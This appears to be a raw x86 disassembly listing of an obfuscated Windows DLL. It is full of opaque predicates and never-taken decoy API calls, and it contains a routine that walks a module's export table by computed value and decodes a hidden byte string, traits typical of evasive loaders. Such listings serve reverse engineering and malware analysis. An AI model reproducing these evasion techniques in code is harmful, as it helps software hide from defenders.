cmp dword [ebp - 0x7bc], 0xfec1b16e
ja 0x1001b57e
mov dword [ebp - 0x7c4], 1
jmp 0x1001b585
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 8
ja 0x1001b59a
mov dword [ebp - 0x7cc], 1
jmp 0x1001b5a1
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x1e8]
add eax, dword [ebp - 0x7cc]
je 0x1001b5c4
cmp dword [ebp - 0x3e0], 0
je 0x1001b5c4
mov dword [ebp - 0x7d4], 1
jmp 0x1001b5cb
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x7d4]
neg eax
je 0x1001b5e1
mov dword [ebp - 0x7dc], 1
jmp 0x1001b5e8
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
sub eax, dword [ebp - 0x7e4]
cmp eax, dword [ebp - 0x7f4]
jge 0x1001b608
mov dword [ebp - 0x7ec], 1
jmp 0x1001b60f
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x7ec], eax
jge 0x1001b629
mov dword [ebp - 0x7fc], 1
jmp 0x1001b630
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7f4]
add eax, dword [ebp - 0x7fc]
mov dword [ebp - 0x3e0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd58]
mov dword [ebp - 0xed0], eax
mov eax, 0xc8a81d5f
test eax, eax
jne 0x1001b667
and dword [ebp - 0x804], 0
jmp 0x1001b671
mov dword [ebp - 0x804], 1
cmp dword [ebp - 0x804], 0xb7be
jle 0x1001b689
mov dword [ebp - 0x80c], 1
jmp 0x1001b690
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
mov dword [ebp - 0x814], eax
mov eax, dword [ebp - 0x814]
add eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x81c], eax
jl 0x1001b6bc
mov dword [ebp - 0x824], 1
jmp 0x1001b6c3
and dword [ebp - 0x824], 0
cmp dword [ebp - 0x824], 0x23279329
jge 0x1001b6db
mov dword [ebp - 0x82c], 1
jmp 0x1001b6e2
and dword [ebp - 0x82c], 0
cmp dword [ebp - 0x82c], 0xaead
jl 0x1001b6fa
mov dword [ebp - 0x834], 1
jmp 0x1001b701
and dword [ebp - 0x834], 0
cmp dword [ebp - 0x834], 0xd444
jl 0x1001b719
mov dword [ebp - 0x83c], 1
jmp 0x1001b720
and dword [ebp - 0x83c], 0
mov eax, 0x64b5
sub eax, dword [ebp - 0x83c]
mov dword [ebp - 0xc58], eax
mov eax, dword [0x1060f954]
and eax, 1
jne 0x1001b768
mov eax, dword [0x1060f954]
or eax, 1
mov dword [0x1060f954], eax
mov dword [ebp - 4], 0x31
mov ecx, 0x1060f914
call fcn.100214da
push 0x10068d89
call fcn.10051352
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1060f7f4]
test eax, eax
je 0x1001ba04
mov ecx, 0x1060f914
call fcn.1002159f
movzx eax, al
test eax, eax
jne 0x1001ba04
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x84c]
push eax
mov ecx, 0x1060f914
call fcn.100215a8
mov dword [ebp - 0x154], 0xac204e2d
mov dword [ebp - 0x3e8], 1
mov dword [ebp - 0x26c], 0
jmp 0x1001b7d1
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 3
jge 0x1001b7ed
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0xfe4], 0xfcb143e9
jmp 0x1001b7c4
mov dword [ebp - 0x154], 0x13
jmp 0x1001b806
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x16
jge 0x1001b849
mov dword [ebp - 0xbc8], 0x29bf39
cmp dword [ebp - 0xbc8], 0
je 0x1001b824
jmp 0x1001b849
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1001b847
push 0
push 1
push 0xfbc
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x1001b7f9
cmp dword [ebp - 0x154], 0
je 0x1001b86b
mov dword [ebp - 0xc84], 0xfffffffe
mov dword [ebp - 0xc84], 0x438bea12
jmp 0x1001b9cc
mov dword [ebp - 0xc68], 0xf9986e3e
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x27c], 0xfffffffd
mov dword [ebp - 0x274], 0
jmp 0x1001b8a2
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 1
jge 0x1001b8be
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0xa84], 0x6de6b933
jmp 0x1001b895
mov eax, dword [ebp - 0x154]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xfe4], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0xbd0], 0xa22e
jg 0x1001b902
mov dword [ebp - 0x844], 1
jmp 0x1001b909
and dword [ebp - 0x844], 0
cmp dword [ebp - 0xc68], 0
je 0x1001b93a
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x1001b93a
mov dword [ebp - 0x3f0], 1
jmp 0x1001b941
and dword [ebp - 0x3f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp + eax - 0xfe4], ecx
mov eax, dword [ebp - 0x3f0]
sub eax, 0x6ad0cbef
imul eax, dword [ebp - 0x844]
test eax, eax
je 0x1001b9b2
or eax, 0xffffffff
je 0x1001b9b2
mov dword [ebp - 0x1f0], 3
jmp 0x1001b988
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x22
jge 0x1001b9b0
mov dword [ebp - 0x27c], 0x7b1b0cad
mov eax, dword [ebp - 0x27c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa84], eax
jmp 0x1001b97b
jmp 0x1001b9cc
mov byte [ebp - 0x168], 0
movzx eax, byte [ebp - 0x168]
test eax, eax
je 0x1001b9cc
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea eax, [ebp - 0x100c]
push eax
mov ecx, 0x1060f914
call fcn.10021591
push eax
lea ecx, [ebp - 0x84c]
call fcn.100213ae
movzx eax, al
test eax, eax
je 0x1001ba04
lea ecx, [ebp - 0x84c]
call fcn.100215d1
mov eax, dword [eax + 4]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xffffffff
jne 0x1001c25e
push 2
lea ecx, [ebp - 0x450]
call fcn.100213ce
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x1f8], 0x3629aa81
mov dword [ebp - 0x8ac], 1
mov dword [ebp - 0x284], 0
jmp 0x1001ba52
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x1001ba74
push dword [ebp - 0x284]
lea ecx, [ebp - 0x450]
call fcn.100214c8
mov dword [eax], 0x1824a8c6
jmp 0x1001ba45
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001baaa
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
mov dword [ebp - 0x854], eax
mov eax, dword [ebp - 0x854]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x854]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
cmp dword [eax], 0xa
jge 0x1001baf9
mov dword [ebp - 0xa8c], 0x2a18
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1001bae2
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0xa8c], eax
jmp 0x1001ba86
mov dword [ebp - 0x1f8], 0xffffffe7
jmp 0x1001bb12
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0xffffffec
je 0x1001bd37
mov dword [ebp - 0x3f8], 0xfffffff6
mov dword [ebp - 0x884], 0x7be2d3d4
mov dword [ebp - 0xaa4], 0xffffffff
push 1
lea ecx, [ebp - 0x450]
call fcn.100214c8
cmp dword [eax], 0
je 0x1001bd1f
mov esi, dword [ebp - 0x1f8]
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
cmp dword [eax], esi
je 0x1001bb76
mov dword [ebp - 0x85c], 1
jmp 0x1001bb7d
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 0x92715ee5
jb 0x1001bb95
mov dword [ebp - 0x864], 1
jmp 0x1001bb9c
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x864], eax
jg 0x1001bbb6
mov dword [ebp - 0x86c], 1
jmp 0x1001bbbd
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x86c], 0xfffffffa
jg 0x1001bbd2
mov dword [ebp - 0x874], 1
jmp 0x1001bbd9
and dword [ebp - 0x874], 0
cmp dword [ebp - 0x874], 0
jne 0x1001bbee
mov dword [ebp - 0x87c], 1
jmp 0x1001bbf5
and dword [ebp - 0x87c], 0
cmp dword [ebp - 0x87c], 0xfffffff8
ja 0x1001bc0a
mov dword [ebp - 0xa94], 1
jmp 0x1001bc11
and dword [ebp - 0xa94], 0
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
cmp dword [ebp - 0x3f8], 0xfa1
jge 0x1001bc36
mov dword [ebp - 0xa9c], 1
jmp 0x1001bc3d
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xed8], eax
mov dword [ebp - 0x884], 0xffff
cmp dword [ebp - 0x884], 0x1c58
jg 0x1001bc6b
mov dword [ebp - 0x88c], 1
jmp 0x1001bc72
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x8ac]
cmp dword [ebp - 0x88c], eax
jge 0x1001bc8c
mov dword [ebp - 0x894], 1
jmp 0x1001bc93
and dword [ebp - 0x894], 0
push 1
lea ecx, [ebp - 0x450]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x894]
jg 0x1001bcb6
mov dword [ebp - 0x89c], 1
jmp 0x1001bcbd
and dword [ebp - 0x89c], 0
push 0
lea ecx, [ebp - 0x450]
call fcn.100214c8
mov eax, dword [eax]
neg eax
cmp eax, dword [ebp - 0x89c]
je 0x1001bce2
mov dword [ebp - 0x8a4], 1
jmp 0x1001bce9
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 0xfffffff9
jne 0x1001bcfe
mov dword [ebp - 0x8b4], 1
jmp 0x1001bd05
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x8b4]
je 0x1001bd1f
mov dword [ebp - 0x8bc], 1
jmp 0x1001bd26
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0xaa4], eax
jmp 0x1001bb05
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x450]
call fcn.100214a3
mov ecx, 0x1060f914
call fcn.10021615
mov ecx, dword [ebp - 0xcc]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1060f914
call fcn.10021619
and dword [ebp - 0x188], 0
jmp 0x1001bd7a
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x188]
cmp ecx, dword [eax + 0x18]
jae 0x1001c25e
push 2
lea ecx, [ebp - 0xff4]
call fcn.100213ce
mov dword [ebp - 4], 0x33
mov dword [ebp - 0x28c], 0
jmp 0x1001bdbc
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jge 0x1001bdde
push dword [ebp - 0x28c]
lea ecx, [ebp - 0xff4]
call fcn.100214c8
mov dword [eax], 0xfffffffc
jmp 0x1001bdaf
mov byte [ebp - 0x170], 0
movzx eax, byte [ebp - 0x170]
test eax, eax
je 0x1001bdfa
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x1001be14
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xff4]
call fcn.100214a3
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x198]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x188]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0
je 0x1001c259
mov dword [ebp - 0x1050], 0
mov byte [ebp - 0x16a], 0
movzx eax, byte [ebp - 0x16a]
test eax, eax
je 0x1001be7c
push 0x1609
push 0x109
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
mov byte [ebp - 0xce], 0
movzx eax, byte [ebp - 0xce]
test eax, eax
je 0x1001bea5
push 0xaf6
push 0x1a06
push 0
push 0x1f53
call dword [sym.imp.USER32.dll_CreateCaret]
mov eax, dword [ebp - 0x8c4]
mov ecx, dword [ebp - 0x198]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1180]
call fcn.10021322
mov dword [ebp - 4], 0x34
mov dword [ebp - 0xac4], 1
mov dword [ebp - 0xee0], 0x16210b99
mov dword [ebp - 0x8d4], 0xd15de05d
mov dword [ebp - 0x1008], 0xffffffff
mov dword [ebp - 0xee8], 0xfffffffd
mov dword [ebp - 0x1068], 0xccb63e8e
mov dword [ebp - 0xabc], 4
mov dword [ebp - 0xef0], 0xfffffffc
mov dword [ebp - 0xaac], 0x94f934f5
mov dword [ebp - 0x8f4], 0
mov dword [ebp - 0x1010], 1
push 1
lea ecx, [ebp - 0xcfc]
call fcn.100213ce
mov byte [ebp - 4], 0x35
mov dword [ebp - 0xef8], 0x486b6feb
mov dword [ebp - 0xab4], 0x5a82
mov dword [ebp - 0x7c], 0
jmp 0x1001bf69
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1001bf85
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xcfc]
call fcn.100214c8
mov dword [eax], 8
jmp 0x1001bf62
mov dword [ebp - 0x7c], 0
jmp 0x1001bf95
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x1001bfab
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xe44], 6
jmp 0x1001bf8e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe44]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe44], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8d4]
cmp ecx, dword [ebp + eax - 0xe44]
jne 0x1001bfe7
mov dword [ebp - 0x8cc], 1
jmp 0x1001bfee
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x8f4]
imul eax, dword [ebp - 0x8cc]
imul eax, dword [ebp - 0xaac]
cmp eax, dword [ebp - 0xab4]
jne 0x1001c016
mov dword [ebp - 0x8dc], 1
jmp 0x1001c01d
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x8d4]
cmp dword [ebp - 0x8dc], eax
jl 0x1001c037
mov dword [ebp - 0x8e4], 1
jmp 0x1001c03e
and dword [ebp - 0x8e4], 0
mov esi, dword [ebp - 0x8e4]
sub esi, 4
push 0
lea ecx, [ebp - 0xcfc]
call fcn.100214c8
mov dword [eax], esi
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x1064], eax
push 0
lea ecx, [ebp - 0xcfc]
call fcn.100214c8
cmp dword [ebp - 0xac4], 0x9ae8
jne 0x1001c087
mov dword [ebp - 0x8ec], 1
jmp 0x1001c08e
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x8f4], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xcfc]
call fcn.100214a3
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1180]
call fcn.1000a3b8
mov dword [ebp - 0x468], eax
push 2
lea ecx, [ebp - 0xdd8]
call fcn.100213ce
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x200], 0x13638ecf
mov dword [ebp - 0x294], 0
jmp 0x1001c0f1
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x1001c113
push dword [ebp - 0x294]
lea ecx, [ebp - 0xdd8]
call fcn.100214c8
mov dword [eax], 0x342eb90d
jmp 0x1001c0e4
mov dword [ebp - 0x200], 0
jmp 0x1001c12c
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jg 0x1001c16f
mov byte [ebp - 0xd0], 0
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x1001c155
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push dword [ebp - 0x200]
lea ecx, [ebp - 0xdd8]
call fcn.100214c8
cmp dword [eax], 0
je 0x1001c16d
jmp 0x1001c16f
jmp 0x1001c11f
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xdd8]
call fcn.100214a3
movzx eax, byte [0x1060f7f4]
test eax, eax
je 0x1001c19a
mov ecx, 0x1060f914
call fcn.1002159f
movzx eax, al
test eax, eax
jne 0x1001c1ba
lea eax, [ebp - 0x468]
push eax
mov ecx, 0x1060f914
call fcn.100215d7
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov byte [0x1060f7f4], 1
cmp dword [ebp - 0x190], 0xffffffff
jne 0x1001c24a
mov eax, dword [ebp - 0x468]
cmp eax, dword [ebp - 0x29c]
jne 0x1001c24a
mov dword [ebp - 0x2a4], 0xac64a684
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x1001c1fb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x2a4], 0
jmp 0x1001c214
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xb
je 0x1001c23e
mov byte [ebp - 0xd4], 0
movzx eax, byte [ebp - 0xd4]
test eax, eax
je 0x1001c23c
push 0
push 0xe4a
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x1001c207
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x190], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1180]
call fcn.10021351
jmp 0x1001bd6d
cmp dword [ebp + 0x10], 0
jne 0x1001c28a
cmp dword [ebp - 0x190], 0xffffffff
je 0x1001c28a
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x198]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x190]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x78], ax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0xd94], 0xa1434a93
mov dword [ebp - 0xd90], 0xa1434a93
mov dword [ebp - 0xd8c], 0xa1434a93
mov dword [ebp - 0xd88], 0xa1434a93
lea ecx, [ebp - 0x45d]
call fcn.100214d7
push eax
lea eax, [ebp - 0xd84]
push eax
lea eax, [ebp - 0xd94]
push eax
lea ecx, [ebp - 0x1198]
call fcn.100215bd
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe2c]
call fcn.1002147d
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x2ac], 0
jmp 0x1001c30e
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 4
jge 0x1001c32a
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x10dc], 0
jmp 0x1001c301
mov dword [ebp - 0x5c], 0
jmp 0x1001c33a
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xe
jle 0x1001c781
push 3
lea ecx, [ebp - 0x9f4]
call fcn.100213ce
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x84], 7
mov dword [ebp - 0x2b4], 0
jmp 0x1001c378
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 3
jge 0x1001c39a
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
mov dword [eax], 0xfffffff9
jmp 0x1001c36b
push 0
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
cmp dword [eax], 0
jne 0x1001c442
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x10dc], 0xfffffffa
push 0xfffffffffffffffa
pop eax
cmp eax, 0x2def
jle 0x1001c3d6
mov dword [ebp - 0x470], 1
jmp 0x1001c3dd
and dword [ebp - 0x470], 0
push 1
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
mov ecx, dword [ebp - 0x470]
cmp ecx, dword [eax]
je 0x1001c400
mov dword [ebp - 0x478], 1
jmp 0x1001c407
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x478]
cmp eax, 0xfaab39e
je 0x1001c427
mov dword [ebp - 0x480], 1
jmp 0x1001c42e
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x480], eax
jg 0x1001c442
and dword [ebp - 0x488], 0
jmp 0x1001c44c
mov dword [ebp - 0x488], 1
cmp dword [ebp - 0x488], 0xf885
je 0x1001c46b
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x1001c46b
mov dword [ebp - 0x490], 1
jmp 0x1001c472
and dword [ebp - 0x490], 0
cmp dword [ebp - 0x490], 0xfdadf860
jne 0x1001c48a
mov dword [ebp - 0x400], 1
jmp 0x1001c491
and dword [ebp - 0x400], 0
push 3
lea ecx, [ebp - 0xe2c]
call fcn.100214c8
mov ecx, dword [ebp - 0x400]
mov dword [eax], ecx
cmp dword [ebp - 0x400], 0
jne 0x1001c4c1
cmp dword [ebp - 0x84], 0
jne 0x1001c4c1
and dword [ebp - 0x498], 0
jmp 0x1001c4cb
mov dword [ebp - 0x498], 1
push 1
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x498]
jge 0x1001c4ee
mov dword [ebp - 0x4a0], 1
jmp 0x1001c4f5
and dword [ebp - 0x4a0], 0
imul eax, dword [ebp - 0x4a0], 0x3e58
cmp eax, dword [ebp - 0x5c]
jg 0x1001c510
mov dword [ebp - 0x4a8], 1
jmp 0x1001c517
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x4a8], eax
jge 0x1001c52e
mov dword [ebp - 0x4b0], 1
jmp 0x1001c535
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x4b0], eax
jle 0x1001c54c
mov dword [ebp - 0x4b8], 1
jmp 0x1001c553
and dword [ebp - 0x4b8], 0
mov eax, 0x99244325
sub eax, dword [ebp - 0x4b8]
je 0x1001c749
mov dword [ebp - 0xad4], 0x89d693ce
mov dword [ebp - 0xadc], 1
mov dword [ebp - 0x4f0], 0x9bb816e1
mov dword [ebp - 0xae4], 0x4085efbe
mov dword [ebp - 0x84], 2
jmp 0x1001c5a5
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x1001c747
mov dword [ebp - 0x208], 0x5c526587
mov dword [ebp - 0x4d8], 0xfffffffd
push 2
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
cmp dword [eax], 0
jne 0x1001c65e
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x10dc]
cmp eax, dword [ebp - 0x208]
jg 0x1001c5fe
push 1
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x4c0], eax
push dword [ebp - 0x84]
lea ecx, [ebp - 0x9f4]
call fcn.100214c8
mov ecx, dword [ebp - 0x4c0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x208], eax
jle 0x1001c643
mov dword [ebp - 0x4c8], 1
jmp 0x1001c64a
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x4c8]
jne 0x1001c65e
and dword [ebp - 0xacc], 0
jmp 0x1001c668
mov dword [ebp - 0xacc], 1
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0xf00], eax
mov eax, dword [ebp - 0xad4]
mov dword [ebp - 0x4d0], eax
push 3
lea ecx, [ebp - 0xe2c]
call fcn.100214c8
mov ecx, dword [ebp - 0x4d0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x4d8]
cmp eax, dword [ebp - 0x84]
jge 0x1001c6c1
mov dword [ebp - 0x4e0], 1
jmp 0x1001c6c8
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0xadc]
cmp dword [ebp - 0x4e0], eax
jg 0x1001c6e2
mov dword [ebp - 0x4e8], 1
jmp 0x1001c6e9
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4f0]
add eax, 0x7fae0cd5
cmp eax, dword [ebp - 0x5c]
jl 0x1001c711
mov dword [ebp - 0x4f8], 1
jmp 0x1001c718
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0xae4], eax
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x1001c742
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x1001c598
jmp 0x1001c76d
mov byte [ebp - 0xd8], 0
movzx eax, byte [ebp - 0xd8]
test eax, eax
je 0x1001c76d
push 0x1b61
push 0x1caf
push 0
call dword [sym.imp.USER32.dll_InflateRect]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x9f4]
call fcn.100214a3
jmp 0x1001c333
mov byte [ebp - 0xda], 0
movzx eax, byte [ebp - 0xda]
test eax, eax
je 0x1001c79d
push 0
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe2c]
call fcn.100214a3
movzx eax, word [ebp - 0x78]
cmp eax, 0xffff
je 0x1001cbda
movzx eax, word [ebp - 0x78]
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x198]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xaec], eax
mov eax, dword [ebp - 0xaec]
mov ecx, dword [ebp - 0x198]
add ecx, dword [eax]
mov dword [ebp - 0xc0], ecx
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xcc]
jbe 0x1001cbcf
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0xcc]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xc0], edx
jae 0x1001cbcf
mov eax, dword [0x1060f954]
and eax, 2
jne 0x1001c851
mov eax, dword [0x1060f954]
or eax, 2
mov dword [0x1060f954], eax
mov dword [ebp - 4], 0x39
push 0x195e
call fcn.10029b94
pop ecx
mov byte [0x1060f8f0], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa8], 1
mov byte [ebp - 0xa7], 0x32
mov byte [ebp - 0xa6], 0
mov byte [ebp - 0xa5], 8
mov byte [ebp - 0xa4], 3
mov byte [ebp - 0xa3], 0x13
mov byte [ebp - 0xa2], 0xd4
mov byte [ebp - 0xa1], 0x8d
mov byte [ebp - 0xa0], 2
mov byte [ebp - 0x9f], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa8]
and eax, 0x5e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa8]
or ecx, 0x5e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
mov byte [ebp + eax - 0x15c], cl
mov dword [ebp - 0x28], 2
and dword [ebp - 0x1ac], 0
jmp 0x1001c8e8
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xa
jae 0x1001c9c6
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x1001c932
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0xa8]
inc eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0xa8]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
